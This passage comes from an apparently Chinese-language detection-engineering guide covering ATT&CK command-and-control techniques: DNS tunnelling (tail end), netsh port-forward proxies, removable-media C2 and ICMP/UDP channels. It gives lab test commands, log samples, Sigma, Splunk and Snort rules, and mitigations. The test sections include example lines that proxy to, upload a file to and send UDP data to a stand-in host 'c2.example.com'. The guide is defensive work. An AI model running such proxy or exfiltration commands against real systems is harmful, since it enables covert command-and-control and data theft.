destination.port falsepositives: - 合法公网DNS查询 - 用户手动配置DNS - VPN或浏览器插件 level: medium ``` 3. **Sigma规则(异常DNS查询)**: ```yaml title: 异常DNS查询检测 id: a45678901-abcd-2345-6789-01234567qrst status: experimental description: 检测疑似DNS隧道的异常查询行为 logsource: product: windows service: sysmon detection: selection: EventID: 15 QueryType: TXT condition: selection fields: - Image - QueryName - QueryType - User falsepositives: - 合法TXT记录查询 - 网络诊断工具 level: high ``` 4. **Elastic Rule Query**: ```kql destination.port:53 and source.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) and not destination.ip:(10.0.0.0/8 or 127.0.0.0/8 or 169.254.169.254/32 or 172.16.0.0/12 or 192.168.0.0/16 or 224.0.0.251 or 224.0.0.252 or 255.255.255.255 or "::1" or "ff02::fb") ``` 5. **SIEM规则**: - 检测内网到公网DNS行为。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventID IN (3,15) destination_port=53 source_ip IN ("10.0.0.0/8","172.16.0.0/12","192.168.0.0/16") NOT destination_ip IN ("10.0.0.0/8","127.0.0.0/8","169.254.169.254","172.16.0.0/12","192.168.0.0/16","224.0.0.251","224.0.0.252","255.255.255.255","::1","ff02::fb") | stats count by Image, QueryName, source_ip, destination_ip, destination_port, User ``` 6. **网络流量分析**: - 检查DNS查询: ```bash tshark -f "udp port 53" -Y "dns.qry.type == TXT" ``` - 检查高频查询: ```bash tshark -f "udp port 53" -z "io,stat,60,dns.qry.name" ``` - 使用IDS规则检测DNS隧道: ```snort alert udp $HOME_NET any -> $EXTERNAL_NET 53 (msg:"Suspicious DNS TXT Query"; content:"TXT"; sid:1000006;) ``` 7. **工具支持**: - 使用Wireshark分析DNS流量,检查TXT记录或子域名模式。 - 使用Sysinternals Process Monitor捕获DNS客户端进程活动。 - 使用Zeek生成DNS日志,分析查询频率和类型。 8. **威胁情报整合**: - 检查目标DNS服务器IP或查询域名是否与已知C2匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御DNS隧道及可疑DNS请求需从DNS控制、流量监控和进程限制入手: 1. **强制使用企业DNS** - 配置DHCP强制使用内部DNS服务器: ```powershell Set-DnsClientServerAddress -InterfaceIndex (Get-NetAdapter).InterfaceIndex -ServerAddresses ("192.168.1.1") ``` - 阻止公网DNS流量: ```powershell New-NetFirewallRule -DisplayName "Block Public DNS" -Direction Outbound -Action Block -Protocol UDP -RemotePort 53 -RemoteAddress 8.8.8.8,8.8.4.4 ``` 2. **限制DNS客户端** - 使用AppLocker限制`nslookup.exe`: ```powershell New-AppLockerPolicy -RuleType Path -Path "%SystemRoot%\System32\nslookup.exe" -Action Deny -User "Everyone" ``` 3. **监控DNS流量** - 部署DNS日志记录,分析查询类型和频率: ```powershell Get-DnsServerStatistics ``` - 配置Sysmon监控DNS查询: ```xml TXT ``` 4. **加强日志监控** - 启用Sysmon事件ID 15、3、1和PowerShell事件ID 4104,检测DNS行为。 - 配置SIEM实时告警内网到公网DNS流量或TXT查询。 - 使用EDR工具检测异常DNS客户端行为。 5. **定期审计** - 检查DNS查询: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 15 } ``` - 检查网络连接: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match ":53" } ``` 6. **补丁管理** - 确保系统和DNS客户端安装最新补丁,修复协议漏洞。 ## 参考推荐 - MITRE ATT&CK: T1071.004 - Elastic: DNS Activity Detection ================================================ FILE: Windows/12命令与控制/T1090.001-Win-链接代理.md ================================================ # T1090.001-Win-链接代理 ## 描述 攻击者利用连接代理(T1090.001)在系统间重定向网络流量或作为与命令与控制(C2)服务器通信的中介,以隐藏真实通信目标并规避检测。代理可用于管理C2通信、减少出站连接数量、增强连接弹性,或利用受信任路径(如内网通信)避免怀疑。常见工具包括`HTRAN`、`ZXProxy`、`ZXPortMap`,以及Windows内置工具如`netsh`。 - **外部连接代理**:攻击者使用外部受损系统、云资源或VPS作为代理,将受害者流量重定向至C2服务器,掩盖C2真实IP。受害者系统直接与公网代理通信,降低追踪可能性。 - **内部连接代理**:攻击者在内网使用受损系统作为代理,合并内部流量并转发至外部C2,隐藏恶意流量来源。也可用于内网中继,减少广播流量。 检测重点在于监控异常端口转发行为、代理工具执行及非典型网络流量(如内网主机与公网代理的频繁连接)。 ## 测试案例 1. **Netsh端口转发** 使用`netsh interface portproxy`配置端口转发,模拟内网主机通过代理与公网C2通信。 2. **第三方代理工具** 使用`HTRAN`或类似工具重定向流量至外部C2服务器。 3. **内网流量中继** 配置内网主机作为代理,将其他主机的流量转发至外部服务器。 ### 示例命令 - **Netsh端口转发**(需管理员权限): ```cmd netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=c2.example.com ``` - **验证转发**: ```cmd netsh interface portproxy show all ``` - **清理**: ```cmd netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0 ``` ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`netsh.exe`或其他代理工具的进程创建及命令行参数。 **Sysmon日志** - **事件ID 1**:记录进程创建,捕获`netsh.exe`或代理工具的命令行。 - **事件ID 3**:记录网络连接,捕获代理转发的流量(源/目标IP、端口)。 - **事件ID 7**:记录加载的模块,检测代理工具的DLL。 **网络日志** - 捕获异常流量(如内网主机通过非标准端口与公网通信)。 **配置日志记录** - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用Sysmon配置:监控`netsh.exe`及网络连接。 - 配置防火墙或IDS/IPS记录非预期出站流量(如8080端口)。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2022。 - **权限**:管理员权限(`netsh`端口转发需提升权限)。 - **工具**:`netsh.exe`(系统自带)、Sysmon、Wireshark、测试C2服务器(如`c2.example.com`)。 - **网络**:可控网络环境,允许出站流量。 - **日志**:启用Windows安全日志、Sysmon日志,配置网络监控。 ### 攻击步骤 1. **配置端口转发** - 执行`netsh`命令: ```cmd netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=127.0.0.1 ``` 2. **验证转发** - 检查配置: ```cmd netsh interface portproxy show all ``` - 测试连接(使用`curl`或浏览器访问`http://:8080`)。 3. **验证结果** - 检查Windows安全日志: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "netsh.exe" } ``` - 检查Sysmon日志(进程创建): ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 1 -and $_.Message -match "netsh.exe" } ``` - 检查网络连接: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match ":8080" } ``` - 检查Netflow(Wireshark过滤`tcp.port == 8080`)。 4. **清理** - 删除端口转发: ```cmd netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0 ``` ### 示例输出 ```cmd netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=127.0.0.1 Ok. netsh interface portproxy show all Listen on IPv4: Connect to IPv4: Address Port Address Port --------------- ---------- --------------- ---------- 0.0.0.0 8080 127.0.0.1 80 ``` **注意**:测试需在合法授权环境进行,替换`c2.example.com`为测试服务器。 ## 日志解析 - **Windows安全日志(事件ID 4688,进程创建)**: ```plaintext EventID: 4688 Subject: Security ID: CONTOSO\Administrator Account Name: Administrator Account Domain: CONTOSO Logon ID: 0x123456 Process Information: New Process ID: 0x2a1c New Process Name: C:\Windows\System32\netsh.exe Token Elevation Type: TokenElevationTypeFull (2) Mandatory Label: Mandatory Label\High Mandatory Level Creator Process ID: 0x1f38 Creator Process Name: C:\Windows\System32\cmd.exe Process Command Line: netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=127.0.0.1 ``` - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:10:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 10764 Image: C:\Windows\System32\netsh.exe CommandLine: netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=127.0.0.1 ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\Administrator IntegrityLevel: High ``` - **Sysmon日志(事件ID 3,网络连接)**: ```plaintext EventID: 3 UtcTime: 2025-06-10 03:10:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\netsh.exe DestinationIp: 127.0.0.1 DestinationPort: 80 Protocol: tcp User: CONTOSO\Administrator ``` ## 检测规则/思路 **检测规则** 通过监控`netsh`端口转发行为、代理工具执行及异常网络流量,检测连接代理活动。以下是具体思路: 1. **日志分析**: - 监控Windows安全日志事件ID 4688,检测`netsh.exe`执行及命令行参数(如`portproxy`)。 - 监控Sysmon事件ID 1,检测`netsh.exe`或其他代理工具(如`HTRAN`)的进程创建。 - 监控Sysmon事件ID 3,检测异常端口(如8080)的网络连接。 - 监控Netflow,检测内网主机通过非标准端口与公网通信。 - 检查注册表端口转发配置: ```powershell Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp" ``` 2. **Sigma规则(Netsh端口转发)**: ```yaml title: Netsh端口转发检测 id: b56789012-abcd-3456-7890-12345678stuv status: stable description: 检测使用netsh配置端口转发的行为 references: - https://attack.mitre.org/techniques/T1090/001/ - https://www.freebuf.com/articles/system/176889.html tags: - attack.command_and_control - attack.t1090.001 logsource: product: windows service: security detection: selection: EventID: 4688 NewProcessName|endswith: '\netsh.exe' CreatorProcessName|endswith: '\cmd.exe' ProcessCommandLine|contains: 'interface portproxy add v4tov4' condition: selection fields: - ProcessCommandLine - CreatorProcessName - User falsepositives: - 管理员网络配置 - 合法端口转发 level: medium ``` 3. **Sigma规则(代理工具网络连接)**: ```yaml title: 代理工具网络连接检测 id: c67890123-abcd-4567-8901-23456789vwxy status: experimental description: 检测netsh或其他代理工具的异常网络连接 logsource: product: windows service: sysmon detection: selection: EventID: 3 Image|endswith: '\netsh.exe' DestinationPort: - 8080 - 3128 - 9050 condition: selection fields: - Image - DestinationIp - DestinationPort - User falsepositives: - 合法代理服务 - 网络测试工具 level: medium ``` 4. **SIEM规则**: - 检测端口转发及代理行为。 - 示例Splunk查询: ```spl (source="WinEventLog:Security" EventCode=4688 Image="*netsh.exe" CommandLine="*portproxy add v4tov4*") OR (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventID=3 Image="*netsh.exe" destination_port IN (8080,3128,9050)) | stats count by Image, CommandLine, DestinationIp, DestinationPort, User, ComputerName ``` 5. **网络流量分析**: - 检查非标准端口流量: ```bash tshark -f "tcp port 8080" -Y "tcp" ``` - 使用IDS规则检测代理流量: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET 8080,3128,9050 (msg:"Suspicious Proxy Traffic"; sid:1000007;) ``` 6. **工具支持**: - 使用Wireshark分析代理流量,检查目标IP和端口。 - 使用Sysinternals Process Monitor捕获`netsh.exe`活动。 - 使用Zeek生成网络日志,分析流量模式。 7. **威胁情报整合**: - 检查目标IP/域名是否与已知C2或代理服务器匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御连接代理需从工具限制、网络分段和流量监控入手: 1. **限制Netsh执行** - 使用AppLocker限制`netsh.exe`: ```powershell New-AppLockerPolicy -RuleType Path -Path "%SystemRoot%\System32\netsh.exe" -Action Deny -User "Everyone" ``` 2. **限制非标准端口** - 配置防火墙阻止非必要出站端口: ```powershell New-NetFirewallRule -DisplayName "Block Proxy Ports" -Direction Outbound -Action Block -Protocol TCP -RemotePort 8080,3128,9050 ``` 3. **监控端口转发配置** - 定期检查`netsh`端口转发: ```powershell netsh interface portproxy show all ``` - 配置Sysmon监控注册表: ```xml PortProxy ``` 4. **加强日志监控** - 启用Sysmon事件ID 1、3、7和Windows事件ID 4688,检测代理行为。 - 配置SIEM实时告警`netsh`执行或非标准端口流量。 - 使用EDR工具检测代理工具滥用。 5. **定期审计** - 检查`netsh`执行: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 1 -and $_.Message -match "netsh.exe" } ``` - 检查网络连接: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match ":8080" } ``` 6. **补丁管理** - 确保系统安装最新补丁,修复可能被利用的漏洞。 ## 参考推荐 - MITRE ATT&CK: T1090.001 - FreeBuf: Netsh端口转发 ================================================ FILE: Windows/12命令与控制/T1092-通过可移动媒介传播.md ================================================ # T1092-通过可移动媒介传播 ## 描述 攻击者利用可移动媒体(如U盘、移动硬盘、SD卡)在网络隔离或断网的受感染主机之间进行命令与控制(C2)或数据传输(T1092)。此技术通常针对空气隔离(Air-Gapped)环境,通过物理媒介在联网和断网系统间传递命令、恶意文件或窃取数据。攻击流程包括: 1. **初始感染**:攻击者首先通过联网系统(如通过钓鱼邮件或漏洞利用)植入恶意软件。 2. **横向移动**:通过可移动媒体将恶意代码或指令复制到断网系统。 3. **数据中继**:断网系统将执行结果或数据写入可移动媒体,再通过联网系统传回攻击者控制的C2服务器。 此技术隐蔽性高,因其不依赖网络连接,难以通过传统网络监控检测。检测重点在于监控可移动媒体的插入、文件访问及相关进程行为。 ## 测试案例 1. **U盘命令传播** 模拟通过U盘在联网与断网主机间传输恶意脚本(如PowerShell脚本),执行命令并回传结果。 2. **数据渗出** 使用U盘从断网主机复制敏感文件,传输至联网主机并上传至外部服务器。 3. **自动运行感染** 配置U盘使用`autorun.inf`触发恶意代码,模拟自动感染断网系统。 ### 示例命令 - **创建测试脚本**(联网主机,需用户权限): ```powershell $script = "whoami > C:\Temp\result.txt" Set-Content -Path "E:\malicious.ps1" -Value $script ``` - **执行脚本**(断网主机): ```powershell powershell.exe -ExecutionPolicy Bypass -File E:\malicious.ps1 ``` - **清理**: ```powershell Remove-Item E:\malicious.ps1 -ErrorAction Ignore Remove-Item C:\Temp\result.txt -ErrorAction Ignore ``` ## 检测日志 **Windows安全日志** - **事件ID 4656**:记录可移动媒体的文件访问权限请求。 - **事件ID 4663**:记录文件读写操作。 - **事件ID 4688**:记录可移动媒体触发进程(如`powershell.exe`)创建。 **Sysmon日志** - **事件ID 1**:记录进程创建,捕获U盘执行的脚本或二进制文件。 - **事件ID 11**:记录文件创建/修改(如U盘上的恶意文件)。 - **事件ID 15**:记录文件流创建(如`autorun.inf`)。 **设备管理日志** - **事件ID 20001**:记录可移动媒体插入/移除(需启用设备日志)。 **配置日志记录** - 启用文件访问审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核文件系统 > 成功/失败`。 - 启用Sysmon配置:监控可移动媒体路径(如`E:\`)的文件和进程活动: ```xml E:\ ``` - 启用设备插入日志:`计算机配置 > 管理模板 > 系统 > 设备安装 > 启用设备安装事件日志`。 ## 测试复现 ### 环境准备 - **靶机**:两台Windows 10/11主机(一台联网,一台断网)。 - **权限**:用户权限(某些操作如禁用U盘需管理员)。 - **工具**:U盘、`powershell.exe`(系统自带)、Sysmon、USB监控工具(如USBLogView)。 - **日志**:启用Windows安全日志、Sysmon日志、设备管理日志。 ### 攻击步骤 1. **准备U盘**(联网主机) - 创建恶意脚本: ```powershell Set-Content -Path "E:\malicious.ps1" -Value "whoami > E:\result.txt" ``` 2. **传播到断网主机** - 插入U盘至断网主机,执行脚本: ```powershell powershell.exe -ExecutionPolicy Bypass -File E:\malicious.ps1 ``` 3. **回传结果** - 将U盘插回联网主机,查看结果: ```powershell Get-Content E:\result.txt ``` - 模拟上传至C2: ```powershell Invoke-WebRequest -Uri "http://c2.example.com/upload" -Method Post -InFile E:\result.txt ``` 4. **验证结果** - 检查Sysmon日志(文件创建): ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 11 -and $_.Message -match "E:\\" } ``` - 检查进程创建: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 1 -and $_.Message -match "powershell.exe" } ``` - 检查设备插入: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Kernel-PnP/Configuration" | Where-Object { $_.Id -eq 20001 } ``` 5. **清理** - 删除U盘文件: ```powershell Remove-Item E:\malicious.ps1, E:\result.txt -ErrorAction Ignore ``` ### 示例输出 ```powershell Get-Content E:\result.txt contoso\user ``` **注意**:测试需在合法授权环境进行,替换`c2.example.com`为测试服务器。 ## 日志解析 - **Windows安全日志(事件ID 4688,进程创建)**: ```plaintext EventID: 4688 Subject: Security ID: CONTOSO\User Account Name: User Account Domain: CONTOSO Logon ID: 0x123456 Process Information: New Process ID: 0x3b2c New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Token Elevation Type: TokenElevationTypeLimited (3) Mandatory Label: Mandatory Label\Medium Mandatory Level Creator Process ID: 0x2a1c Creator Process Name: C:\Windows\explorer.exe Process Command Line: powershell.exe -ExecutionPolicy Bypass -File E:\malicious.ps1 ``` - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:10:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 15148 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine: powershell.exe -ExecutionPolicy Bypass -File E:\malicious.ps1 ParentImage: C:\Windows\explorer.exe User: CONTOSO\User IntegrityLevel: Medium ``` - **Sysmon日志(事件ID 11,文件创建)**: ```plaintext EventID: 11 UtcTime: 2025-06-10 03:10:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TargetFilename: E:\result.txt User: CONTOSO\User ``` - **Device Manager日志(事件ID 20001,设备插入)**: ```plaintext EventID: 20001 UtcTime: 2025-06-10 03:10:00.345 DeviceId: USB\VID_0781&PID_5581\1234567890 DeviceDescription: USB Mass Storage Device ``` ## 检测规则/思路 **检测规则** 通过监控可移动媒体的插入、文件访问及相关进程行为,检测恶意传播活动。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 11,检测U盘上的文件创建/修改(如`.ps1`、`.exe`)。 - 监控Sysmon事件ID 1,检测U盘触发进程(如`powershell.exe`执行脚本)。 - 监控Windows安全日志事件ID 4656、4663,检测可移动媒体文件访问。 - 监控设备管理日志事件ID 20001,检测U盘插入/移除。 - 使用USB监控工具(如USBLogView)记录U盘活动。 2. **Sigma规则(U盘脚本执行)**: ```yaml title: 可移动媒体脚本执行检测 id: c78901234-abcd-5678-9012-34567890wxyz status: stable description: 检测从可移动媒体执行的脚本或二进制文件 references: - https://attack.mitre.org/techniques/T1092/ tags: - attack.command_and_control - attack.t1092 logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: - '\powershell.exe' - '\cmd.exe' CommandLine|contains: - 'E:\' - 'F:\' - 'G:\' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法U盘脚本执行 - 管理员测试 level: high ``` 3. **Sigma规则(U盘文件创建)**: ```yaml title: 可移动媒体文件创建检测 id: d89012345-abcd-6789-0123-45678901yzab status: experimental description: 检测可移动媒体上的可疑文件创建 logsource: product: windows service: sysmon detection: selection: EventID: 11 TargetFilename|contains: - 'E:\' - 'F:\' - 'G:\' TargetFilename|endswith: - '.ps1' - '.exe' - '.bat' condition: selection fields: - Image - TargetFilename - User falsepositives: - 合法U盘文件操作 level: medium ``` 4. **SIEM规则**: - 检测U盘活动。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=1 CommandLine IN ("*E:\*","*F:\*","*G:\*") Image IN ("*powershell.exe","*cmd.exe")) OR (EventID=11 TargetFilename IN ("*E:\*","*F:\*","*G:\*"))) OR (source="WinEventLog:Microsoft-Windows-Kernel-PnP/Configuration" EventID=20001) | stats count by Image, CommandLine, TargetFilename, User, ComputerName ``` 5. **文件访问监控**: - 检查U盘文件操作: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -in 4656,4663 -and $_.Message -match "[E-G]:\\" } ``` 6. **工具支持**: - 使用USBLogView记录U盘插入/移除及文件操作。 - 使用Sysinternals Process Monitor捕获U盘相关进程和文件活动。 - 使用EDR工具(如CrowdStrike、Carbon Black)监控U盘行为。 7. **威胁情报整合**: - 检查U盘文件哈希是否与已知恶意样本匹配,结合威胁情报平台(如VirusTotal)。 ## 建议 ### 缓解措施 防御可移动媒体传播需从设备控制、文件监控和隔离策略入手: 1. **禁用可移动媒体** - 禁用U盘自动运行: ```powershell Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" -Name NoAutorun -Value 1 ``` - 阻止U盘访问: ```powershell Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\USBSTOR" -Name Start -Value 4 ``` 2. **限制脚本执行** - 配置PowerShell执行策略: ```powershell Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy Restricted ``` - 使用AppLocker限制脚本: ```powershell New-AppLockerPolicy -RuleType Script -Path "*.ps1" -Action Deny -User "Everyone" ``` 3. **监控U盘活动** - 配置Sysmon监控可移动媒体: ```xml [E-G]:\\ ``` - 部署USB监控工具(如USBLock、DeviceLock)。 4. **加强日志监控** - 启用Sysmon事件ID 1、11、15和Windows事件ID 4656、4663、20001。 - 配置SIEM实时告警U盘插入或可疑文件执行。 - 使用EDR工具检测U盘相关威胁。 5. **定期审计** - 检查U盘文件操作: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 11 -and $_.Message -match "[E-G]:\\" } ``` - 检查设备插入: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Kernel-PnP/Configuration" | Where-Object { $_.Id -eq 20001 } ``` 6. **隔离网络** - 加强空气隔离环境管理,限制U盘在联网与断网主机间的使用。 - 部署DLP(数据丢失防护)工具,监控U盘数据传输。 ## 参考推荐 - MITRE ATT&CK: T1092 ================================================ FILE: Windows/12命令与控制/T1095-非应用层协议.md ================================================ # T1095-非应用层协议 ## 描述 攻击者利用非应用层协议(如ICMP、UDP、SOCKS或SOL)在主机与命令与控制(C2)服务器间,或网络内受感染主机间进行通信(T1095)。这些协议因其在网络中的普遍性或较低的监控频率,常被用于隐藏C2通信或数据渗出。非应用层协议(如ICMP)通常不承载应用数据,攻击者可在其数据字段中嵌入恶意指令或数据,伪装成正常网络活动。相比HTTP/HTTPS等应用层协议,非应用层协议的流量更难被传统防火墙或IDS检测。 常见场景包括: - **ICMP隧道**:通过ICMP(Ping)数据包传输C2指令或数据。 - **UDP通信**:利用自定义UDP数据包进行隐秘通信。 - **SOCKS代理**:通过SOCKS协议重定向C2流量。 检测重点在于识别异常协议流量(如ICMP数据包异常大小)、不典型数据流及相关进程的网络行为。 ## 测试案例 1. **ICMP隧道** 使用工具(如`pingtunnel`)通过ICMP数据包传输数据,模拟C2通信。 2. **UDP自定义通信** 使用PowerShell或Python发送自定义UDP数据包,嵌入C2指令。 3. **SOCKS代理** 配置SOCKS代理工具(如`proxychains`)重定向C2流量。 ### 示例命令 - **ICMP数据传输**(需管理员权限,假设使用`ping`模拟): ```cmd ping -p 41424344 c2.example.com ``` - **UDP数据发送**(PowerShell): ```powershell $client = New-Object System.Net.Sockets.UdpClient $data = [System.Text.Encoding]::ASCII.GetBytes("C2 command") $client.Send($data, $data.Length, "c2.example.com", 12345) $client.Close() ``` - **清理**: ```powershell Stop-Process -Name powershell -Force ``` ## 检测日志 **Netflow日志** - 记录ICMP、UDP或其他非应用层协议流量,捕获源/目标IP、端口、数据量及会话时long。 **Sysmon日志** - **事件ID 1**:记录触发协议通信的进程(如`ping.exe`、`powershell.exe`)创建及命令行参数。 - **事件ID 3**:记录网络连接,捕获ICMP或UDP流量(目标IP/端口)。 - **事件ID 7**:记录加载的模块,检测代理工具的DLL。 **Windows安全日志** - **事件ID 4688**:记录可疑进程(如`ping.exe`)创建。 **PowerShell日志** - **事件ID 4104**:记录PowerShell脚本执行(如UDP数据发送)。 **配置日志记录** - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用PowerShell日志:`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。 - 配置Sysmon监控ICMP/UDP流量: ```xml icmp udp ``` - 使用IDS/IPS(如Snort)记录ICMP/UDP流量。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2022。 - **权限**:用户权限(ICMP需管理员权限)。 - **工具**:`ping.exe`、`powershell.exe`(系统自带)、Sysmon、Wireshark、测试C2服务器(如`c2.example.com`)。 - **网络**:可控网络环境,允许ICMP/UDP出站流量。 - **日志**:启用Sysmon、Windows安全日志、PowerShell日志,配置网络监控。 ### 攻击步骤 1. **ICMP通信测试** - 使用`ping`发送自定义数据: ```cmd ping -p 41424344 127.0.0.1 -n 1 ``` 2. **UDP通信测试** - 执行PowerShell脚本: ```powershell $client = New-Object System.Net.Sockets.UdpClient $data = [System.Text.Encoding]::ASCII.GetBytes("C2 command") $client.Send($data, $data.Length, "127.0.0.1", 12345) $client.Close() ``` 3. **验证结果** - 检查Sysmon日志(网络连接): ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match "icmp|udp" } ``` - 检查Windows安全日志: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "ping.exe|powershell.exe" } ``` - 检查PowerShell日志: ```powershell Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 -and $_.Message -match "UdpClient" } ``` - 检查Netflow(Wireshark过滤`icmp`或`udp.port == 12345`)。 4. **清理** - 终止脚本: ```powershell Stop-Process -Name powershell -Force ``` ### 示例输出 ```cmd ping -p 41424344 127.0.0.1 -n 1 Pinging 127.0.0.1 with 32 bytes of data: Reply from 127.0.0.1: bytes=32 time<1ms TTL=128 ``` ```powershell $client.Send($data, $data.Length, "127.0.0.1", 12345) 10 ``` **注意**:测试需在合法授权环境进行,替换`c2.example.com`为测试服务器。 ## 日志解析 - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:10:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 12345 Image: C:\Windows\System32\ping.exe CommandLine: ping -p 41424344 127.0.0.1 -n 1 ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\User IntegrityLevel: High ``` - **Sysmon日志(事件ID 3,网络连接)**: ```plaintext EventID: 3 UtcTime: 2025-06-10 03:10:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\ping.exe DestinationIp: 127.0.0.1 Protocol: icmp User: CONTOSO\User ``` - **Sysmon日志(事件ID 3,UDP连接)**: ```plaintext EventID: 3 UtcTime: 2025-06-10 03:10:00.345 ProcessGuid: {abcdef12-3456-7890-abcd-ef1234567890} Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe DestinationIp: 127.0.0.1 DestinationPort: 12345 Protocol: udp User: CONTOSO\User ``` - **PowerShell日志(事件ID 4104,脚本执行)**: ```plaintext EventID: 4104 Source: Microsoft-Windows-PowerShell Message: Creating Scriptblock text (1 of 1): $client = New-Object System.Net.Sockets.UdpClient $data = [System.Text.Encoding]::ASCII.GetBytes("C2 command") $client.Send($data, $data.Length, "127.0.0.1", 12345) ScriptBlock ID: {abcdef12-3456-7890-abcd-ef1234567890} ``` ## 检测规则/思路 **检测规则** 通过监控ICMP、UDP等非应用层协议的异常流量、数据模式及相关进程,检测恶意通信。以下是具体思路: 1. **日志分析**: - 监控Netflow,检测ICMP或UDP的异常流量(如大尺寸ICMP数据包、高频UDP通信)。 - 监控Sysmon事件ID 3,检测`ping.exe`或`powershell.exe`的ICMP/UDP连接。 - 监控Sysmon事件ID 1,检测触发协议通信的进程命令行参数。 - 监控PowerShell日志事件ID 4104,检测UDP相关操作(如`UdpClient`)。 - 监控Windows安全日志事件ID 4688,检测可疑进程创建。 - 使用Wireshark分析ICMP/UDP数据包,检查异常数据或模式。 2. **Sigma规则(ICMP异常流量)**: ```yaml title: ICMP异常流量检测 id: e90123456-abcd-7890-1234-56789012cdef status: experimental description: 检测疑似ICMP隧道的异常流量 references: - https://attack.mitre.org/techniques/T1095/ tags: - attack.command_and_control - attack.t1095 logsource: product: windows service: sysmon detection: selection: EventID: 3 Protocol: icmp Image|endswith: '\ping.exe' condition: selection fields: - Image - DestinationIp - User falsepositives: - 合法网络诊断 - 管理员测试 level: medium ``` 3. **Sigma规则(UDP异常通信)**: ```yaml title: UDP异常通信检测 id: f01234567-abcd-8901-2345-67890123ghij status: experimental description: 检测疑似UDP C2通信的异常流量 logsource: product: windows service: sysmon detection: selection: EventID: 3 Protocol: udp Image|endswith: - '\powershell.exe' - '\python.exe' condition: selection fields: - Image - DestinationIp - DestinationPort - User falsepositives: - 合法UDP应用 - 网络测试工具 level: medium ``` 4. **SIEM规则**: - 检测ICMP/UDP异常行为。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventID=3 Protocol IN ("icmp","udp") Image IN 